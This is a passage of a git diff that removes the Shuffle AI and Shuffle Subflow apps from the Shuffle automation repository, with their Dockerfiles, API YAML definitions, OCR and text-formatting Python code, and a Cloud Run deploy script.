action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - Secureworks.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - Secureworks.run() diff --git a/shuffle-ai/1.0.0/Dockerfile b/shuffle-ai/1.0.0/Dockerfile deleted file mode 100644 index 36f0f4d0..00000000 --- a/shuffle-ai/1.0.0/Dockerfile +++ /dev/null @@ -1,56 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev git - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app -COPY requirements.txt /requirements.txt -RUN python3 -m pip install -r /requirements.txt - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency -RUN apk --no-cache add jq git curl - -ENV SHELL=/bin/bash - -### Install Tesseract -ENV CC /usr/bin/clang -ENV CXX /usr/bin/clang++ -ENV LANG=C.UTF-8 -ENV TESSDATA_PREFIX=/usr/local/share/tessdata - -# Dev tools -WORKDIR /tmp -RUN apk update -RUN apk upgrade -RUN apk add file openssl openssl-dev bash tini leptonica-dev openjpeg-dev tiff-dev libpng-dev zlib-dev libgcc mupdf-dev jbig2dec-dev -RUN apk add freetype-dev openblas-dev ffmpeg-dev linux-headers aspell-dev aspell-en # enchant-dev jasper-dev -RUN apk add --virtual .dev-deps git clang clang-dev g++ make automake autoconf libtool pkgconfig cmake ninja -RUN apk add --virtual .dev-testing-deps -X http://dl-3.alpinelinux.org/alpine/edge/testing autoconf-archive -RUN ln -s /usr/include/locale.h /usr/include/xlocale.h - -RUN apk add tesseract-ocr -RUN apk add poppler-utils - -# Install from main -RUN mkdir /usr/local/share/tessdata -RUN mkdir src -RUN cd src -RUN wget https://github.com/tesseract-ocr/tessdata_fast/raw/main/eng.traineddata -P /usr/local/share/tessdata -RUN git clone --depth 1 https://github.com/tesseract-ocr/tesseract.git -#RUN cd tesseract && ./autogen.sh && ./configure --build=x86_64-alpine-linux-musl --host=x86_64-alpine-linux-musl && make && make install && cd /tmp/src - -# Finally, lets run our app! -WORKDIR /app -CMD ["python", "app.py", "--log-level", "DEBUG"] diff --git a/shuffle-ai/1.0.0/api.yaml b/shuffle-ai/1.0.0/api.yaml deleted file mode 100644 index ae0ae960..00000000 --- a/shuffle-ai/1.0.0/api.yaml +++ /dev/null @@ -1,115 +0,0 @@ ---- -app_version: 1.0.0 -name: Shuffle AI -description: An EXPERIMENTAL AI tool app for Shuffle -tags: - - Shuffle -categories: - - Shuffle -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: support@shuffler.io -actions: - - name: autoformat_text - description: Input ANY kind of data in the format you want, and the format you want it in. Default is a business-y email. Uses ShuffleGPT, which is based on OpenAI and our own model. - parameters: - - name: apikey - description: Your https://shuffler.io apikey - required: true - multiline: false - example: "" - schema: - type: string - - name: text - description: The text you want to be converted (ANY format) - required: true - multiline: true - example: "Bad IPs are 1.2.3.4 and there's no good way to format this. JSON works too!" - schema: - type: string - - name: formatting - description: The format to use. - required: false - multiline: true - example: "Make it work as a ticket we can put in service now that is human readable for security analysts" - schema: - type: string - returns: - schema: - type: string - - name: generate_report - description: Input ANY kind of data in the format you want, and it will make an HTML report for you. This can be downloaded from the File location. - parameters: - - name: apikey - description: Your https://shuffler.io apikey - required: true - multiline: false - example: "" - schema: - type: string - - name: input_data - description: The text you want to be converted (ANY format) - required: true - multiline: true - example: "Bad IPs are 1.2.3.4 and there's no good way to format this. JSON works too!" - schema: - type: string - - name: report_title - description: The report title to be used in the report - required: true - multiline: true - example: "Statistics for October" - schema: - type: string - - name: report_name - description: The name of the HTML file - required: false - multiline: true - example: "statistics.html" - schema: - type: string - returns: - schema: - type: string - - name: extract_text_from_pdf - description: Returns text from a pdf - parameters: - - name: file_id - description: The file to find text in - required: true - multiline: false - example: "file_" - schema: - type: string - returns: - schema: - type: string - - name: extract_text_from_image - description: Returns text from an image - parameters: - - name: file_id - description: The file to find text in - required: true - multiline: false - example: "file_" - schema: - type: string - returns: - schema: - type: string - - name: transcribe_audio - description: Returns text from audio - parameters: - - name: file_id - description: The file containing the audio - required: true - multiline: false - example: "file_" - schema: - type: string - returns: - schema: - type: string - -large_image: data:image/png;base64,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 diff --git a/shuffle-ai/1.0.0/docker-compose.yml b/shuffle-ai/1.0.0/docker-compose.yml deleted file mode 100644 index 40ee05f6..00000000 --- a/shuffle-ai/1.0.0/docker-compose.yml +++ /dev/null @@ -1,20 +0,0 @@ -version: '3.4' -services: - hello_world: - build: - context: . - dockerfile: Dockerfile -# image: walkoff_registry:5000/walkoff_app_HelloWorld-v1-0 - deploy: - mode: replicated - replicas: 10 - restart_policy: - condition: none - restart: "no" - secrets: - - secret1 -secrets: - secret1: - file: ./secret_data - labels: - foo: bar diff --git a/shuffle-ai/1.0.0/requirements.txt b/shuffle-ai/1.0.0/requirements.txt deleted file mode 100644 index b1fb92b5..00000000 --- a/shuffle-ai/1.0.0/requirements.txt +++ /dev/null @@ -1,3 +0,0 @@ -pytesseract -pdf2image -pypdf2 diff --git a/shuffle-ai/1.0.0/src/app.py b/shuffle-ai/1.0.0/src/app.py deleted file mode 100644 index 4a76c673..00000000 --- a/shuffle-ai/1.0.0/src/app.py +++ /dev/null @@ -1,221 +0,0 @@ -import pytesseract -from pdf2image import convert_from_path -import PyPDF2 -import json -import tempfile - -from walkoff_app_sdk.app_base import AppBase - -class Tools(AppBase): - __version__ = "1.0.0" - app_name = "Shuffle AI" - - def __init__(self, redis, logger, console_logger=None): - super().__init__(redis, logger, console_logger) - - def autoformat_text(self, apikey, text, formatting="auto"): - headers = { - "Authorization": "Bearer %s" % apikey, - } - - if not formatting: - formatting = "auto" - - output_formatting= "Format the following data to be a good email that can be sent to customers. Don't make it too business sounding." - if formatting != "auto": - output_formatting = formatting - - ret = requests.post( - "https://shuffler.io/api/v1/conversation", - json={ - "query": text, - "formatting": output_formatting, - "output_format": "formatting" - }, - headers=headers, - ) - - if ret.status_code != 200: - print(ret.text) - return { - "success": False, - "reason": "Status code for auto-formatter is not 200" - } - - return ret.text - - def generate_report(self, apikey, input_data, report_title, report_name="generated_report.html"): - headers = { - "Authorization": "Bearer %s" % apikey, - } - - if not report_name: - report_name = "generated_report.html" - - if "." in report_name and not ".html" in report_name: - report_name = report_name.split(".")[0] - - if not "html" in report_name: - report_name = report_name + ".html" - - report_name = report_name.replace(" ", "_", -1) - - if not formatting: - formatting = "auto" - - output_formatting= "Format the following text into an HTML report with relevant graphs and tables. Title of the report should be {report_title}." - ret = requests.post( - "https://shuffler.io/api/v1/conversation", - json={ - "query": text, - "formatting": output_formatting, - "output_format": "formatting" - }, - headers=headers, - ) - - if ret.status_code != 200: - print(ret.text) - return { - "success": False, - "reason": "Status code for auto-formatter is not 200" - } - - # Make it into a shuffle file with self.set_files() - new_file = { - "name": report_name, - "data": ret.text, - } - - retdata = self.set_files([new_file]) - if retdata["success"]: - return retdata - - return { - "success": False, - "reason": "Failed to upload file" - } - - - def extract_text_from_pdf(self, file_id): - def extract_pdf_text(pdf_path): - with open(pdf_path, 'rb') as file: - pdf_reader = PyPDF2.PdfReader(file) - text = '' - for page in pdf_reader.pages: - text += page.extract_text() - - return text - - def extract_text_from_images(images): - text = '' - for image in images: - extracted_text = pytesseract.image_to_string(image, lang='eng') - text += extracted_text - return text - - def extract_text_from_pdf_with_images(pdf_path): - images = convert_from_path(pdf_path) - return extract_text_from_images(images) - - def export_text_to_json(image_text, extracted_text): - data = { - "success": True, - 'image_text': image_text, - 'extracted_text': extracted_text, - } - - #with open(output_path, 'w+') as file: - # json.dump(data, file, indent=4) - - return data - - pdf_data = self.get_file(file_id) - defaultdata = { - "success": False, - "file_id": file_id, - "filename": pdf_data["filename"], - "reason": "Something failed in reading and parsing the pdf. See error logs for more info", - } - - # Make a tempfile for the file data from self.get_file - # Make a tempfile with tempfile library - with tempfile.NamedTemporaryFile() as temp: - # Write the file data to the tempfile - # Get the path to the tempfile - temp.write(pdf_data["data"]) - pdf_path = temp.name - - # Extract text from the PDF - extracted_text_from_pdf = extract_pdf_text(pdf_path) - - # Extract text from the PDF using images - extracted_text_from_images = extract_text_from_pdf_with_images(pdf_path) - - # Combine the extracted text - - # Export combined text to JSON - #output_path = pdf_path.split(".")[0] + ".json" - exported_text = export_text_to_json(extracted_text_from_images, extracted_text_from_pdf) - exported_text["file_id"] = file_id - exported_text["filename"] = pdf_data["filename"] - return exported_text - - return defaultdata - - def extract_text_from_image(self, file_id): - # Check if it's a pdf - # If it is, use extract_text_from_pdf - # If it's not, use pytesseract - if self.get_file(file_id)["name"].endswith(".pdf"): - return self.extract_text_from_pdf(file_id) - - pdf_data = self.get_file(file_id) - defaultdata = { - "success": False, - "file_id": file_id, - "filename": pdf_data["filename"], - "reason": "Something failed in reading and parsing the pdf. See error logs for more info", - } - - with tempfile.NamedTemporaryFile() as temp: - # Load temp as Image - # Write the file data to the tempfile - # Get the path to the tempfile - temp.write(pdf_data["data"]) - pdf_path = temp.name - - image = Image.open(temp.name) - image = image.resize((500,300)) - custom_config = r'-l eng --oem 3 --psm 6' - text = pytesseract.image_to_string(image,config=custom_config) - - data = { - "success": True, - 'extracted_text': text, - } - - return data - - return defaultdata - - def transcribe_audio(self, file_id): - return { - "success": False, - "reason": "Not implemented yet" - } - - def find_image_objects(self, file_id): - return { - "success": False, - "reason": "Not implemented yet" - } - - def gpt(self, input_text): - return { - "success": False, - "reason": "Not implemented yet" - } - -if __name__ == "__main__": - Tools.run() diff --git a/shuffle-ai/1.0.0/upload.sh b/shuffle-ai/1.0.0/upload.sh deleted file mode 100755 index 33f84bac..00000000 --- a/shuffle-ai/1.0.0/upload.sh +++ /dev/null @@ -1,6 +0,0 @@ - -gcloud run deploy shuffle-ai-1-0-0 \ - --region=europe-west2 \ - --max-instances=3 \ - --set-env-vars=SHUFFLE_APP_EXPOSED_PORT=8080,SHUFFLE_SWARM_CONFIG=run,SHUFFLE_LOGS_DISABLED=true --source=./ \ - --timeout=1800s diff --git a/shuffle-subflow/1.0.0/Dockerfile b/shuffle-subflow/1.0.0/Dockerfile deleted file mode 100644 index 364e1531..00000000 --- a/shuffle-subflow/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -# RUN apk --no-cache add --update my_binary_dependency - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/shuffle-subflow/1.0.0/api.yaml b/shuffle-subflow/1.0.0/api.yaml deleted file mode 100644 index 4148c19a..00000000 --- a/shuffle-subflow/1.0.0/api.yaml +++ /dev/null @@ -1,102 +0,0 @@ -app_version: 1.0.0 -name: Shuffle Subflow -description: The Shuffle Subflow app -tags: - - Trigger -categories: - - Trigger -contact_info: - name: "@frikkylikeme" - url: https://shuffler.io - email: frikky@shuffler.io -actions: - - name: run_subflow - description: Executes a subflow - parameters: - - name: user_apikey - description: The apikey to use - required: true - multiline: false - example: "REPEATING: Hello world" - schema: - type: string - - name: workflow - description: The Workflow to execute - required: true - multiline: false - example: "REPEATING: Hello world" - schema: - type: string - - name: execution_argument - description: The execution_argument - required: true - multiline: true - example: "REPEATING: Hello world" - schema: - type: string - - name: startnode - description: - required: false - multiline: false - example: "" - schema: - type: string - - name: source_workflow - description: - required: false - multiline: false - example: "" - schema: - type: string - - name: source_execution - description: - required: false - multiline: false - example: "" - schema: - type: string - returns: - schema: - type: string - - name: run_userinput - description: Stops a workflow and notifies the right people - parameters: - - name: user_apikey - description: The apikey to connect back to the APIs - required: true - multiline: false - example: "apikey" - schema: - type: string - - name: sms - description: The numbers to send an sms to - required: false - multiline: false - example: "+474135212,+180241322" - schema: - type: string - - name: email - description: The emails to send an email to - required: false - multiline: false - example: "example@shuffler.io,test@test.com" - schema: - type: string - - name: subflow - description: The subflow IDs to start - required: false - multiline: false - example: "7944b41d-6200-4f28-8973-22ba52637bf0,4832b41d-6200-4f28-8973-22ba52637bf0" - schema: - type: string - - name: information - description: The information to send to the targets - required: false - multiline: true - example: "This is an argument using some liquid: {{ 1 + 2 }} " - schema: - type: string - returns: - schema: - type: string -large_image: data:image/png;base64,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